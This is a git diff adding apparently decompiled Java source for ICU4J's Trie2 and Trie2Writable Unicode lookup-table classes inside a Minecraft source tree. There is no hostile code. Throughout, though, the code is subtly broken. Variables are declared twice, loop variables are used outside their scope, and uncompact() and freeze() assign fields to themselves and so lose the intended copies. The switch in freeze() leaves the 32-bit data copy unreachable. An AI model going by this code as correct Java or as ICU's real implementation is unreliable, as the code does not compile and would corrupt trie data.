+    private Trie2.CharSequenceValues fResults = new Trie2.CharSequenceValues();
+    
+    public void set(int i)
+    {
+      if ((i < 0) || (i > textLength)) {
+        throw new IndexOutOfBoundsException();
+      }
+      index = i;
+    }
+    
+    public final boolean hasNext()
+    {
+      return index < textLength;
+    }
+    
+    public final boolean hasPrevious()
+    {
+      return index > 0;
+    }
+    
+    public Trie2.CharSequenceValues next()
+    {
+      int c = Character.codePointAt(text, index);
+      int val = get(c);
+      
+      fResults.index = index;
+      fResults.codePoint = c;
+      fResults.value = val;
+      index += 1;
+      if (c >= 65536) {
+        index += 1;
+      }
+      return fResults;
+    }
+    
+    public Trie2.CharSequenceValues previous()
+    {
+      int c = Character.codePointBefore(text, index);
+      int val = get(c);
+      index -= 1;
+      if (c >= 65536) {
+        index -= 1;
+      }
+      fResults.index = index;
+      fResults.codePoint = c;
+      fResults.value = val;
+      return fResults;
+    }
+    
+
+
+
+
+    public void remove()
+    {
+      throw new UnsupportedOperationException("Trie2.CharSequenceIterator does not support remove().");
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  static enum ValueWidth
+  {
+    BITS_16, 
+    BITS_32;
+    
+
+
+
+
+
+    private ValueWidth() {}
+  }
+  
+
+
+
+
+
+  int highValueIndex;
+  
+
+
+
+
+  int dataNullOffset;
+  
+
+
+
+
+  int fHash;
+  
+
+
+
+
+  static final int UTRIE2_OPTIONS_VALUE_BITS_MASK = 15;
+  
+
+
+
+
+  static final int UTRIE2_SHIFT_1 = 11;
+  
+
+
+
+
+  static final int UTRIE2_SHIFT_2 = 5;
+  
+
+
+
+
+  static final int UTRIE2_SHIFT_1_2 = 6;
+  
+
+
+
+
+  static final int UTRIE2_OMITTED_BMP_INDEX_1_LENGTH = 32;
+  
+
+
+
+
+  static final int UTRIE2_CP_PER_INDEX_1_ENTRY = 2048;
+  
+
+
+
+
+  static final int UTRIE2_INDEX_2_BLOCK_LENGTH = 64;
+  
+
+
+
+
+  static final int UTRIE2_INDEX_2_MASK = 63;
+  
+
+
+
+
+  static final int UTRIE2_DATA_BLOCK_LENGTH = 32;
+  
+
+
+
+
+  static final int UTRIE2_DATA_MASK = 31;
+  
+
+
+
+
+  static final int UTRIE2_INDEX_SHIFT = 2;
+  
+
+
+
+
+  static final int UTRIE2_DATA_GRANULARITY = 4;
+  
+
+
+
+
+  static final int UTRIE2_INDEX_2_OFFSET = 0;
+  
+
+
+
+  static final int UTRIE2_LSCP_INDEX_2_OFFSET = 2048;
+  
+
+
+
+  static final int UTRIE2_LSCP_INDEX_2_LENGTH = 32;
+  
+
+
+
+  static final int UTRIE2_INDEX_2_BMP_LENGTH = 2080;
+  
+
+
+
+  static final int UTRIE2_UTF8_2B_INDEX_2_OFFSET = 2080;
+  
+
+
+
+  static final int UTRIE2_UTF8_2B_INDEX_2_LENGTH = 32;
+  
+
+
+
+  static final int UTRIE2_INDEX_1_OFFSET = 2112;
+  
+
+
+
+  static final int UTRIE2_MAX_INDEX_1_LENGTH = 512;
+  
+
+
+
+  static final int UTRIE2_BAD_UTF8_DATA_OFFSET = 128;
+  
+
+
+
+  static final int UTRIE2_DATA_START_OFFSET = 192;
+  
+
+
+
+  static final int UNEWTRIE2_INDEX_GAP_OFFSET = 2080;
+  
+
+
+
+  static final int UNEWTRIE2_INDEX_GAP_LENGTH = 576;
+  
+
+
+
+  static final int UNEWTRIE2_MAX_INDEX_2_LENGTH = 35488;
+  
+
+
+
+  static final int UNEWTRIE2_INDEX_1_LENGTH = 544;
+  
+
+
+
+  static final int UNEWTRIE2_MAX_DATA_LENGTH = 1115264;
+  
+
+
+
+  static class UTrie2Header
+  {
+    int signature;
+    
+
+
+
+    int options;
+    
+
+
+
+    int indexLength;
+    
+
+
+
+    int shiftedDataLength;
+    
+
+
+
+    int index2NullOffset;
+    
+
+
+
+    int dataNullOffset;
+    
+
+
+
+    int shiftedHighStart;
+    
+
+
+
+
+    UTrie2Header() {}
+  }
+  
+
+
+
+
+  class Trie2Iterator
+    implements Iterator<Trie2.Range>
+  {
+    private Trie2.ValueMapper mapper;
+    
+
+
+
+
+    Trie2Iterator(Trie2.ValueMapper vm)
+    {
+      mapper = vm;
+      nextStart = 0;
+      limitCP = 1114112;
+      doLeadSurrogates = true;
+    }
+    
+
+    Trie2Iterator(char leadSurrogate, Trie2.ValueMapper vm)
+    {
+      if ((leadSurrogate < 55296) || (leadSurrogate > 56319)) {
+        throw new IllegalArgumentException("Bad lead surrogate value.");
+      }
+      mapper = vm;
+      nextStart = (leadSurrogate - 55232 << 10);
+      limitCP = (nextStart + 1024);
+      doLeadSurrogates = false;
+    }
+    
+
+
+
+
+    public Trie2.Range next()
+    {
+      if (!hasNext()) {
+        throw new NoSuchElementException();
+      }
+      if (nextStart >= limitCP)
+      {
+
+        doingCodePoints = false;
+        nextStart = 55296;
+      }
+      int endOfRange = 0;
+      int val = 0;
+      int mappedVal = 0;
+      
+      if (doingCodePoints)
+      {
+        val = get(nextStart);
+        mappedVal = mapper.map(val);
+        endOfRange = rangeEnd(nextStart, limitCP, val);
+        
+
+
+        while (endOfRange < limitCP - 1)
+        {
+
+          val = get(endOfRange + 1);
+          if (mapper.map(val) != mappedVal) {
+            break;
+          }
+          endOfRange = rangeEnd(endOfRange + 1, limitCP, val);
+        }
+      }
+      
+      val = getFromU16SingleLead((char)nextStart);
+      mappedVal = mapper.map(val);
+      endOfRange = rangeEndLS((char)nextStart);
+      
+
+
+      while (endOfRange < 56319)
+      {
+
+        val = getFromU16SingleLead((char)(endOfRange + 1));
+        if (mapper.map(val) != mappedVal) {
+          break;
+        }
+        endOfRange = rangeEndLS((char)(endOfRange + 1));
+      }
+      
+      returnValue.startCodePoint = nextStart;
+      returnValue.endCodePoint = endOfRange;
+      returnValue.value = mappedVal;
+      returnValue.leadSurrogate = (!doingCodePoints);
+      nextStart = (endOfRange + 1);
+      return returnValue;
+    }
+    
+
+
+    public boolean hasNext()
+    {
+      return ((doingCodePoints) && ((doLeadSurrogates) || (nextStart < limitCP))) || (nextStart < 56320);
+    }
+    
+    public void remove() {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private int rangeEndLS(char startingLS)
+    {
+      if (startingLS >= 56319) {
+        return 56319;
+      }
+      
+
+      int val = getFromU16SingleLead(startingLS);
+      for (int c = startingLS + '\001'; c <= 56319; c++) {
+        if (getFromU16SingleLead((char)c) != val) {
+          break;
+        }
+      }
+      return c - 1;
+    }
+    
+
+
+
+
+    private Trie2.Range returnValue = new Trie2.Range();
+    
+
+    private int nextStart;
+    
+
+    private int limitCP;
+    
+
+    private boolean doingCodePoints = true;
+    
+
+
+    private boolean doLeadSurrogates = true;
+  }
+  
+
+
+
+
+
+
+
+  int rangeEnd(int start, int limitp, int val)
+  {
+    int limit = Math.min(highStart, limitp);
+    
+    for (int c = start + 1; c < limit; c++) {
+      if (get(c) != val) {
+        break;
+      }
+    }
+    if (c >= highStart) {
+      c = limitp;
+    }
+    return c - 1;
+  }
+  
+
+
+
+  private static int initHash()
+  {
+    return -2128831035;
+  }
+  
+  private static int hashByte(int h, int b) {
+    h *= 16777619;
+    h ^= b;
+    return h;
+  }
+  
+  private static int hashUChar32(int h, int c) {
+    h = hashByte(h, c & 0xFF);
+    h = hashByte(h, c >> 8 & 0xFF);
+    h = hashByte(h, c >> 16);
+    return h;
+  }
+  
+  private static int hashInt(int h, int i) {
+    h = hashByte(h, i & 0xFF);
+    h = hashByte(h, i >> 8 & 0xFF);
+    h = hashByte(h, i >> 16 & 0xFF);
+    h = hashByte(h, i >> 24 & 0xFF);
+    return h;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/Trie2Writable.java b/src/minecraft/com/ibm/icu/impl/Trie2Writable.java
new file mode 100644
index 0000000..7377097
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/Trie2Writable.java
@@ -0,0 +1,1217 @@
+package com.ibm.icu.impl;
+
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+public class Trie2Writable
+  extends Trie2
+{
+  private static final int UTRIE2_MAX_INDEX_LENGTH = 65535;
+  private static final int UTRIE2_MAX_DATA_LENGTH = 262140;
+  private static final int UNEWTRIE2_INITIAL_DATA_LENGTH = 16384;
+  private static final int UNEWTRIE2_MEDIUM_DATA_LENGTH = 131072;
+  private static final int UNEWTRIE2_INDEX_2_NULL_OFFSET = 2656;
+  private static final int UNEWTRIE2_INDEX_2_START_OFFSET = 2720;
+  private static final int UNEWTRIE2_DATA_NULL_OFFSET = 192;
+  private static final int UNEWTRIE2_DATA_START_OFFSET = 256;
+  private static final int UNEWTRIE2_DATA_0800_OFFSET = 2176;
+  
+  public Trie2Writable(int initialValueP, int errorValueP)
+  {
+    init(initialValueP, errorValueP);
+  }
+  
+  private void init(int initialValueP, int errorValueP)
+  {
+    initialValue = initialValueP;
+    errorValue = errorValueP;
+    highStart = 1114112;
+    
+    data = new int['䀀'];
+    dataCapacity = 16384;
+    initialValue = initialValueP;
+    errorValue = errorValueP;
+    highStart = 1114112;
+    firstFreeBlock = 0;
+    isCompacted = false;
+    
+
+
+
+
+
+
+
+    for (int i = 0; i < 128; i++) {
+      data[i] = initialValue;
+    }
+    for (; i < 192; i++) {
+      data[i] = errorValue;
+    }
+    for (i = 192; i < 256; i++) {
+      data[i] = initialValue;
+    }
+    dataNullOffset = 192;
+    dataLength = 256;
+    
+
+    i = 0; for (int j = 0; j < 128; j += 32) {
+      index2[i] = j;
+      map[i] = 1;i++;
+    }
+    for (; 
+        
+
+        j < 192; j += 32) {
+      map[i] = 0;i++;
+    }
+    
+
+
+
+
+
+
+    map[(i++)] = 34845;
+    
+
+
+
+    j += 32;
+    for (; j < 256; j += 32) {
+      map[i] = 0;i++;
+    }
+    
+
+
+
+
+    for (i = 4; i < 2080; i++) {
+      index2[i] = 192;
+    }
+    
+
+
+
+
+    for (i = 0; i < 576; i++) {
+      index2[(2080 + i)] = -1;
+    }
+    
+
+    for (i = 0; i < 64; i++) {
+      index2[(2656 + i)] = 192;
+    }
+    index2NullOffset = 2656;
+    index2Length = 2720;
+    
+
+    i = 0; for (j = 0; 
+        i < 32; 
+        j += 64)
+    {
+      index1[i] = j;i++;
+    }
+    for (; 
+        
+        i < 544; i++) {
+      index1[i] = 2656;
+    }
+    
+
+
+
+
+
+    for (i = 128; i < 2048; i += 32) {
+      set(i, initialValue);
+    }
+  }
+  
+
+
+
+
+
+
+  public Trie2Writable(Trie2 source)
+  {
+    init(initialValue, errorValue);
+    
+    for (Trie2.Range r : source) {
+      setRange(r, true);
+    }
+  }
+  
+  private boolean isInNullBlock(int c, boolean forLSCP)
+  {
+    int i2;
+    int i2;
+    if ((Character.isHighSurrogate((char)c)) && (forLSCP)) {
+      i2 = 320 + (c >> 5);
+    }
+    else {
+      i2 = index1[(c >> 11)] + (c >> 5 & 0x3F);
+    }
+    
+    int block = index2[i2];
+    return block == dataNullOffset;
+  }
+  
+
+  private int allocIndex2Block()
+  {
+    int newBlock = index2Length;
+    int newTop = newBlock + 64;
+    if (newTop > index2.length) {
+      throw new IllegalStateException("Internal error in Trie2 creation.");
+    }
+    
+
+
+
+
+    index2Length = newTop;
+    System.arraycopy(index2, index2NullOffset, index2, newBlock, 64);
+    return newBlock;
+  }
+  
+
+  private int getIndex2Block(int c, boolean forLSCP)
+  {
+    if ((c >= 55296) && (c < 56320) && (forLSCP)) {
+      return 2048;
+    }
+    
+    int i1 = c >> 11;
+    int i2 = index1[i1];
+    if (i2 == index2NullOffset) {
+      i2 = allocIndex2Block();
+      index1[i1] = i2;
+    }
+    return i2;
+  }
+  
+  private int allocDataBlock(int copyBlock)
+  {
+    int newBlock;
+    if (firstFreeBlock != 0)
+    {
+      int newBlock = firstFreeBlock;
+      firstFreeBlock = (-map[(newBlock >> 5)]);
+    }
+    else {
+      newBlock = dataLength;
+      int newTop = newBlock + 32;
+      if (newTop > dataCapacity)
+      {
+        int capacity;
+        
+
+        if (dataCapacity < 131072) {
+          capacity = 131072; } else { int capacity;
+          if (dataCapacity < 1115264) {
+            capacity = 1115264;
+
+
+          }
+          else
+          {
+
+            throw new IllegalStateException("Internal error in Trie2 creation."); } }
+        int capacity;
+        int[] newData = new int[capacity];
+        System.arraycopy(data, 0, newData, 0, dataLength);
+        data = newData;
+        dataCapacity = capacity;
+      }
+      dataLength = newTop;
+    }
+    System.arraycopy(data, copyBlock, data, newBlock, 32);
+    map[(newBlock >> 5)] = 0;
+    return newBlock;
+  }
+  
+
+
+  private void releaseDataBlock(int block)
+  {
+    map[(block >> 5)] = (-firstFreeBlock);
+    firstFreeBlock = block;
+  }
+  
+  private boolean isWritableBlock(int block)
+  {
+    return (block != dataNullOffset) && (1 == map[(block >> 5)]);
+  }
+  
+  private void setIndex2Entry(int i2, int block)
+  {
+    map[(block >> 5)] += 1;
+    int oldBlock = index2[i2];
+    if (0 == map[(oldBlock >> 5)] -= 1) {
+      releaseDataBlock(oldBlock);
+    }
+    index2[i2] = block;
+  }
+  
+
+
+
+
+
+
+
+  private int getDataBlock(int c, boolean forLSCP)
+  {
+    int i2 = getIndex2Block(c, forLSCP);
+    
+    i2 += (c >> 5 & 0x3F);
+    int oldBlock = index2[i2];
+    if (isWritableBlock(oldBlock)) {
+      return oldBlock;
+    }
+    
+
+    int newBlock = allocDataBlock(oldBlock);
+    setIndex2Entry(i2, newBlock);
+    return newBlock;
+  }
+  
+
+
+
+
+  public Trie2Writable set(int c, int value)
+  {
+    if ((c < 0) || (c > 1114111)) {
+      throw new IllegalArgumentException("Invalid code point.");
+    }
+    set(c, true, value);
+    fHash = 0;
+    return this;
+  }
+  
+  private Trie2Writable set(int c, boolean forLSCP, int value)
+  {
+    if (isCompacted) {
+      uncompact();
+    }
+    int block = getDataBlock(c, forLSCP);
+    data[(block + (c & 0x1F))] = value;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private void uncompact()
+  {
+    Trie2Writable tempTrie = new Trie2Writable(this);
+    
+
+    index1 = index1;
+    index2 = index2;
+    data = data;
+    index2Length = index2Length;
+    dataCapacity = dataCapacity;
+    isCompacted = isCompacted;
+    
+
+    header = header;
+    index = index;
+    data16 = data16;
+    data32 = data32;
+    indexLength = indexLength;
+    dataLength = dataLength;
+    index2NullOffset = index2NullOffset;
+    initialValue = initialValue;
+    errorValue = errorValue;
+    highStart = highStart;
+    highValueIndex = highValueIndex;
+    dataNullOffset = dataNullOffset;
+  }
+  
+  private void writeBlock(int block, int value)
+  {
+    int limit = block + 32;
+    while (block < limit) {
+      data[(block++)] = value;
+    }
+  }
+  
+
+
+
+
+
+  private void fillBlock(int block, int start, int limit, int value, int initialValue, boolean overwrite)
+  {
+    int pLimit = block + limit;
+    if (overwrite) {
+      for (int i = block + start; i < pLimit; i++) {
+        data[i] = value;
+      }
+    }
+    for (int i = block + start; i < pLimit; i++) {
+      if (data[i] == initialValue) {
+        data[i] = value;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Trie2Writable setRange(int start, int end, int value, boolean overwrite)
+  {
+    if ((start > 1114111) || (start < 0) || (end > 1114111) || (end < 0) || (start > end)) {
+      throw new IllegalArgumentException("Invalid code point range.");
+    }
+    if ((!overwrite) && (value == initialValue)) {
+      return this;
+    }
+    fHash = 0;
+    if (isCompacted) {
+      uncompact();
+    }
+    
+    int limit = end + 1;
+    if ((start & 0x1F) != 0)
+    {
+
+
+      int block = getDataBlock(start, true);
+      
+      int nextStart = start + 32 & 0xFFFFFFE0;
+      if (nextStart <= limit) {
+        fillBlock(block, start & 0x1F, 32, value, initialValue, overwrite);
+        
+        start = nextStart;
+      } else {
+        fillBlock(block, start & 0x1F, limit & 0x1F, value, initialValue, overwrite);
+        
+        return this;
+      }
+    }
+    
+
+    int rest = limit & 0x1F;
+    
+
+    limit &= 0xFFFFFFE0;
+    int repeatBlock;
+    int repeatBlock;
+    if (value == initialValue) {
+      repeatBlock = dataNullOffset;
+    } else {
+      repeatBlock = -1;
+    }
+    
+    while (start < limit)
+    {
+      boolean setRepeatBlock = false;
+      
+      if ((value == initialValue) && (isInNullBlock(start, true))) {
+        start += 32;
+
+      }
+      else
+      {
+        int i2 = getIndex2Block(start, true);
+        i2 += (start >> 5 & 0x3F);
+        int block = index2[i2];
+        if (isWritableBlock(block))
+        {
+          if ((overwrite) && (block >= 2176))
+          {
+
+
+
+
+            setRepeatBlock = true;
+          }
+          else {
+            fillBlock(block, 0, 32, value, initialValue, overwrite);
+          }
+          
+        }
+        else if ((data[block] != value) && ((overwrite) || (block == dataNullOffset)))
+        {
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+          setRepeatBlock = true;
+        }
+        if (setRepeatBlock) {
+          if (repeatBlock >= 0) {
+            setIndex2Entry(i2, repeatBlock);
+          }
+          else {
+            repeatBlock = getDataBlock(start, true);
+            writeBlock(repeatBlock, value);
+          }
+        }
+        
+        start += 32;
+      }
+    }
+    if (rest > 0)
+    {
+      int block = getDataBlock(start, true);
+      fillBlock(block, 0, rest, value, initialValue, overwrite);
+    }
+    
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Trie2Writable setRange(Trie2.Range range, boolean overwrite)
+  {
+    fHash = 0;
+    if (leadSurrogate) {
+      for (int c = startCodePoint; c <= endCodePoint; c++) {
+        if ((overwrite) || (getFromU16SingleLead((char)c) == initialValue)) {
+          setForLeadSurrogateCodeUnit((char)c, value);
+        }
+      }
+    } else {
+      setRange(startCodePoint, endCodePoint, value, overwrite);
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Trie2Writable setForLeadSurrogateCodeUnit(char codeUnit, int value)
+  {
+    fHash = 0;
+    set(codeUnit, false, value);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public int get(int codePoint)
+  {
+    if ((codePoint < 0) || (codePoint > 1114111)) {
+      return errorValue;
+    }
+    return get(codePoint, true);
+  }
+  
+
+
+
+  private int get(int c, boolean fromLSCP)
+  {
+    if ((c >= highStart) && ((c < 55296) || (c >= 56320) || (fromLSCP)))
+      return data[(dataLength - 4)];
+    int i2;
+    int i2;
+    if ((c >= 55296) && (c < 56320) && (fromLSCP)) {
+      i2 = 320 + (c >> 5);
+    }
+    else {
+      i2 = index1[(c >> 11)] + (c >> 5 & 0x3F);
+    }
+    
+    int block = index2[i2];
+    return data[(block + (c & 0x1F))];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getFromU16SingleLead(char c)
+  {
+    return get(c, false);
+  }
+  
+
+  private boolean equal_int(int[] a, int s, int t, int length)
+  {
+    for (int i = 0; i < length; i++) {
+      if (a[(s + i)] != a[(t + i)]) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+  private int findSameIndex2Block(int index2Length, int otherBlock)
+  {
+    
+    
+
+    for (int block = 0; block <= index2Length; block++) {
+      if (equal_int(index2, block, otherBlock, 64)) {
+        return block;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+  private int findSameDataBlock(int dataLength, int otherBlock, int blockLength)
+  {
+    dataLength -= blockLength;
+    
+    for (int block = 0; block <= dataLength; block += 4) {
+      if (equal_int(data, block, otherBlock, blockLength)) {
+        return block;
+      }
+    }
+    return -1;
+  }
+  
+
+
+  private int findHighStart(int highValue)
+  {
+    int prevBlock;
+    
+
+    int prevI2Block;
+    
+
+    int prevBlock;
+    
+    if (highValue == initialValue) {
+      int prevI2Block = index2NullOffset;
+      prevBlock = dataNullOffset;
+    } else {
+      prevI2Block = -1;
+      prevBlock = -1;
+    }
+    int prev = 1114112;
+    
+
+    int i1 = 544;
+    int c = prev;
+    while (c > 0) {
+      int i2Block = index1[(--i1)];
+      if (i2Block == prevI2Block)
+      {
+        c -= 2048;
+      }
+      else {
+        prevI2Block = i2Block;
+        if (i2Block == index2NullOffset)
+        {
+          if (highValue != initialValue) {
+            return c;
+          }
+          c -= 2048;
+        }
+        else {
+          int i2 = 64; int block; int j; for (;;) { if (i2 > 0) {
+              block = index2[(i2Block + --i2)];
+              if (block == prevBlock)
+              {
+                c -= 32;
+                continue;
+              }
+              prevBlock = block;
+              if (block == dataNullOffset)
+              {
+                if (highValue != initialValue) {
+                  return c;
+                }
+                c -= 32;
+              } } else { break; }
+            for (j = 32; j > 0;) {
+              int value = data[(block + --j)];
+              if (value != highValue) {
+                return c;
+              }
+              c--;
+            }
+          }
+        }
+      }
+    }
+    
+
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void compactData()
+  {
+    int newStart = 192;
+    int start = 0; for (int i = 0; start < newStart; i++) {
+      map[i] = start;start += 32;
+    }
+    
+
+
+
+
+    int blockLength = 64;
+    int blockCount = blockLength >> 5;
+    for (start = newStart; start < dataLength;)
+    {
+
+
+
+
+      if (start == 2176) {
+        blockLength = 32;
+        blockCount = 1;
+      }
+      
+
+      if (map[(start >> 5)] <= 0)
+      {
+        start += blockLength;
+
+
+      }
+      else
+      {
+
+        int movedStart = findSameDataBlock(newStart, start, blockLength);
+        if (movedStart >= 0)
+        {
+          i = blockCount; for (int mapIndex = start >> 5; i > 0; i--) {
+            map[(mapIndex++)] = movedStart;
+            movedStart += 32;
+          }
+          
+
+          start += blockLength;
+
+
+        }
+        else
+        {
+
+
+          int overlap = blockLength - 4;
+          while ((overlap > 0) && (!equal_int(data, newStart - overlap, start, overlap))) {
+            overlap -= 4;
+          }
+          if ((overlap > 0) || (newStart < start))
+          {
+            movedStart = newStart - overlap;
+            i = blockCount; for (int mapIndex = start >> 5; i > 0; i--) {
+              map[(mapIndex++)] = movedStart;
+              movedStart += 32;
+            }
+            
+
+            start += overlap;
+            for (i = blockLength - overlap; i > 0; i--) {
+              data[(newStart++)] = data[(start++)];
+            }
+          } else {
+            i = blockCount; for (int mapIndex = start >> 5; i > 0; i--) {
+              map[(mapIndex++)] = start;
+              start += 32;
+            }
+            newStart = start;
+          }
+        }
+      }
+    }
+    for (i = 0; i < index2Length; i++) {
+      if (i == 2080)
+      {
+        i += 576;
+      }
+      index2[i] = map[(index2[i] >> 5)];
+    }
+    dataNullOffset = map[(dataNullOffset >> 5)];
+    
+
+    while ((newStart & 0x3) != 0) {
+      data[(newStart++)] = initialValue;
+    }
+    
+    if (UTRIE2_DEBUG)
+    {
+      System.out.printf("compacting UTrie2: count of 32-bit data words %d->%d\n", new Object[] { Integer.valueOf(dataLength), Integer.valueOf(newStart) });
+    }
+    
+
+    dataLength = newStart;
+  }
+  
+
+
+  private void compactIndex2()
+  {
+    int newStart = 2080;
+    int start = 0; for (int i = 0; start < newStart; i++) {
+      map[i] = start;start += 64;
+    }
+    
+
+    newStart += 32 + (highStart - 65536 >> 11);
+    
+    for (start = 2656; start < index2Length;)
+    {
+      int movedStart;
+      
+
+
+
+
+      if ((movedStart = findSameIndex2Block(newStart, start)) >= 0)
+      {
+
+
+        map[(start >> 6)] = movedStart;
+        
+
+        start += 64;
+
+
+      }
+      else
+      {
+
+
+        int overlap = 63;
+        while ((overlap > 0) && (!equal_int(index2, newStart - overlap, start, overlap))) {
+          overlap--;
+        }
+        if ((overlap > 0) || (newStart < start))
+        {
+          map[(start >> 6)] = (newStart - overlap);
+          
+
+          start += overlap;
+          for (i = 64 - overlap; i > 0; i--) {
+            index2[(newStart++)] = index2[(start++)];
+          }
+        } else {
+          map[(start >> 6)] = start;
+          start += 64;
+          newStart = start;
+        }
+      }
+    }
+    
+    for (i = 0; i < 544; i++) {
+      index1[i] = map[(index1[i] >> 6)];
+    }
+    index2NullOffset = map[(index2NullOffset >> 6)];
+    
+
+
+
+
+
+
+    while ((newStart & 0x3) != 0)
+    {
+      index2[(newStart++)] = 262140;
+    }
+    
+    if (UTRIE2_DEBUG)
+    {
+      System.out.printf("compacting UTrie2: count of 16-bit index-2 words %d->%d\n", new Object[] { Integer.valueOf(index2Length), Integer.valueOf(newStart) });
+    }
+    
+
+    index2Length = newStart;
+  }
+  
+
+
+
+
+  private void compactTrie()
+  {
+    int highValue = get(1114111);
+    int localHighStart = findHighStart(highValue);
+    localHighStart = localHighStart + 2047 & 0xF800;
+    if (localHighStart == 1114112) {
+      highValue = errorValue;
+    }
+    
+
+
+
+
+    highStart = localHighStart;
+    
+    if (UTRIE2_DEBUG) {
+      System.out.printf("UTrie2: highStart U+%04x  highValue 0x%x  initialValue 0x%x\n", new Object[] { Integer.valueOf(highStart), Integer.valueOf(highValue), Integer.valueOf(initialValue) });
+    }
+    
+
+    if (highStart < 1114112)
+    {
+      int suppHighStart = highStart <= 65536 ? 65536 : highStart;
+      setRange(suppHighStart, 1114111, initialValue, true);
+    }
+    
+    compactData();
+    if (highStart > 65536) {
+      compactIndex2();
+    }
+    else if (UTRIE2_DEBUG) {
+      System.out.printf("UTrie2: highStart U+%04x  count of 16-bit index-2 words %d->%d\n", new Object[] { Integer.valueOf(highStart), Integer.valueOf(index2Length), Integer.valueOf(2112) });
+    }
+    
+
+
+
+
+
+
+
+    data[(dataLength++)] = highValue;
+    while ((dataLength & 0x3) != 0) {
+      data[(dataLength++)] = initialValue;
+    }
+    
+    isCompacted = true;
+  }
+  
+
+
+
+
+
+  public Trie2_16 toTrie2_16()
+  {
+    Trie2_16 frozenTrie = new Trie2_16();
+    freeze(frozenTrie, Trie2.ValueWidth.BITS_16);
+    return frozenTrie;
+  }
+  
+
+
+
+
+  public Trie2_32 toTrie2_32()
+  {
+    Trie2_32 frozenTrie = new Trie2_32();
+    freeze(frozenTrie, Trie2.ValueWidth.BITS_32);
+    return frozenTrie;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void freeze(Trie2 dest, Trie2.ValueWidth valueBits)
+  {
+    if (!isCompacted)
+      compactTrie();
+    int allIndexesLength;
+    int allIndexesLength;
+    if (highStart <= 65536) {
+      allIndexesLength = 2112;
+    } else
+      allIndexesLength = index2Length;
+    int dataMove;
+    int dataMove; if (valueBits == Trie2.ValueWidth.BITS_16) {
+      dataMove = allIndexesLength;
+    } else {
+      dataMove = 0;
+    }
+    
+
+    if ((allIndexesLength > 65535) || (dataMove + dataNullOffset > 65535) || (dataMove + 2176 > 65535) || (dataMove + dataLength > 262140))
+    {
+
+
+
+
+
+
+      throw new UnsupportedOperationException("Trie2 data is too large.");
+    }
+    
+
+    int indexLength = allIndexesLength;
+    if (valueBits == Trie2.ValueWidth.BITS_16) {
+      indexLength += dataLength;
+    } else {
+      data32 = new int[dataLength];
+    }
+    index = new char[indexLength];
+    
+    indexLength = allIndexesLength;
+    dataLength = dataLength;
+    if (highStart <= 65536) {
+      index2NullOffset = 65535;
+    } else {
+      index2NullOffset = (0 + index2NullOffset);
+    }
+    initialValue = initialValue;
+    errorValue = errorValue;
+    highStart = highStart;
+    highValueIndex = (dataMove + dataLength - 4);
+    dataNullOffset = (dataMove + dataNullOffset);
+    
+
+
+
+    header = new Trie2.UTrie2Header();
+    header.signature = 1416784178;
+    header.options = (valueBits == Trie2.ValueWidth.BITS_16 ? 0 : 1);
+    header.indexLength = indexLength;
+    header.shiftedDataLength = (dataLength >> 2);
+    header.index2NullOffset = index2NullOffset;
+    header.dataNullOffset = dataNullOffset;
+    header.shiftedHighStart = (highStart >> 11);
+    
+
+
+
+    int destIdx = 0;
+    for (int i = 0; i < 2080; i++) {
+      index[(destIdx++)] = ((char)(index2[i] + dataMove >> 2));
+    }
+    if (UTRIE2_DEBUG) {
+      System.out.println("\n\nIndex2 for BMP limit is " + Integer.toHexString(destIdx));
+    }
+    
+
+    for (i = 0; i < 2; i++) {
+      index[(destIdx++)] = ((char)(dataMove + 128));
+    }
+    for (; i < 32; i++) {
+      index[(destIdx++)] = ((char)(dataMove + index2[(i << 1)]));
+    }
+    if (UTRIE2_DEBUG) {
+      System.out.println("Index2 for UTF-8 2byte values limit is " + Integer.toHexString(destIdx));
+    }
+    
+    if (highStart > 65536) {
+      int index1Length = highStart - 65536 >> 11;
+      int index2Offset = 2112 + index1Length;
+      
+
+
+      for (i = 0; i < index1Length; i++)
+      {
+        index[(destIdx++)] = ((char)(0 + index1[(i + 32)]));
+      }
+      if (UTRIE2_DEBUG) {
+        System.out.println("Index 1 for supplementals, limit is " + Integer.toHexString(destIdx));
+      }
+      
+
+
+
+
+      for (i = 0; i < index2Length - index2Offset; i++) {
+        index[(destIdx++)] = ((char)(dataMove + index2[(index2Offset + i)] >> 2));
+      }
+      if (UTRIE2_DEBUG) {
+        System.out.println("Index 2 for supplementals, limit is " + Integer.toHexString(destIdx));
+      }
+    }
+    
+
+    switch (1.$SwitchMap$com$ibm$icu$impl$Trie2$ValueWidth[valueBits.ordinal()])
+    {
+    case 1: 
+      assert (destIdx == dataMove);
+      data16 = destIdx;
+      for (i = 0; i < dataLength;) {
+        index[(destIdx++)] = ((char)data[i]);i++; continue;
+        
+
+
+
+        for (i = 0; i < dataLength; i++) {
+          data32[i] = data[i];
+        }
+      }
+    }
+    
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int[] index1 = new int['Ƞ'];
+  private int[] index2 = new int[35488];
+  
+
+
+  private int[] data;
+  
+
+
+  private int index2Length;
+  
+
+
+  private int dataCapacity;
+  
+
+
+  private int firstFreeBlock;
+  
+
+  private int index2NullOffset;
+  
+
+  private boolean isCompacted;
+  
+
+  private int[] map = new int[34852];
+  
+
+  private boolean UTRIE2_DEBUG = false;
+}
diff --git a/src/minecraft/com/ibm/icu/impl/Trie2_16.java b/src/minecraft/com/ibm/icu/impl/Trie2_16.java
new file mode 100644
